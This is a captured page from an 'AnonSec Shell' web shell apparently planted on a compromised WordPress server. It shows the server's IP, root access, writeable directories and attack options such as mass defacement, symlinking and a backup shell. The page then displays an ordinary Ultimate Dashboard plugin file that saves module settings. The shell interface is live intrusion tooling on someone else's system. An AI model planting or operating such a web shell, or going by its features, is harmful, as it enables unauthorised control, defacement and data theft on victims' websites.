AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.15.34.225   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/ultimate-dashboard/modules/plugin-onboarding/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/ultimate-dashboard/modules/plugin-onboarding/ajax//class-save-modules.php
<?php
/**
 * Save modules.
 *
 * @package Ultimate_Dashboard
 */

namespace Udb\PluginOnboarding\Ajax;

/**
 * Class to manage ajax request of migration to UDB.
 */
class Save_Modules {

	/**
	 * The available modules.
	 *
	 * @var array
	 */
	private $available_modules = [
		'white_label',
		'login_customizer',
		'login_redirect',
		'admin_pages',
		'admin_menu_editor',
		'admin_bar_editor',
	];

	/**
	 * The selected modules.
	 *
	 * @var array
	 */
	private $modules = [];

	/**
	 * Class constructor.
	 */
	public function __construct() {

		add_action( 'wp_ajax_udb_plugin_onboarding_save_modules', [ $this, 'handler' ] );

	}

	/**
	 * The request handler.
	 */
	public function handler() {

		$this->validate();
		$this->save();

	}

	/**
	 * Validate the data.
	 */
	private function validate() {

		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';

		// Check if nonce is incorrect.
		if ( ! wp_verify_nonce( $nonce, 'udb_plugin_onboarding_save_modules_nonce' ) ) {
			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ), 401 );
		}

		// At least login_customizer is selected :).
		if ( ! isset( $_POST['modules'] ) || ! is_array( $_POST['modules'] ) || empty( $_POST['modules'] ) ) {
			wp_send_json_error( __( 'No modules selected', 'ultimate-dashboard' ), 401 );
		}

		foreach ( $_POST['modules'] as $index => $module ) {
			if ( is_string( $module ) ) {
				$module = sanitize_text_field( wp_unslash( $module ) );
				array_push( $this->modules, $module );
			}
		}
	}

	/**
	 * Save the data.
	 */
	private function save() {

		$module_statuses = [];

		foreach ( $this->available_modules as $available_module ) {
			if ( in_array( $available_module, $this->modules, true ) ) {
				$module_statuses[ $available_module ] = 'true';
			} else {
				$module_statuses[ $available_module ] = 'false';
			}
		}

		update_option( 'udb_modules', $module_statuses );

		wp_send_json_success( __( 'Modules saved', 'ultimate-dashboard' ) );

	}

}

Anon7 - 2022
AnonSec Team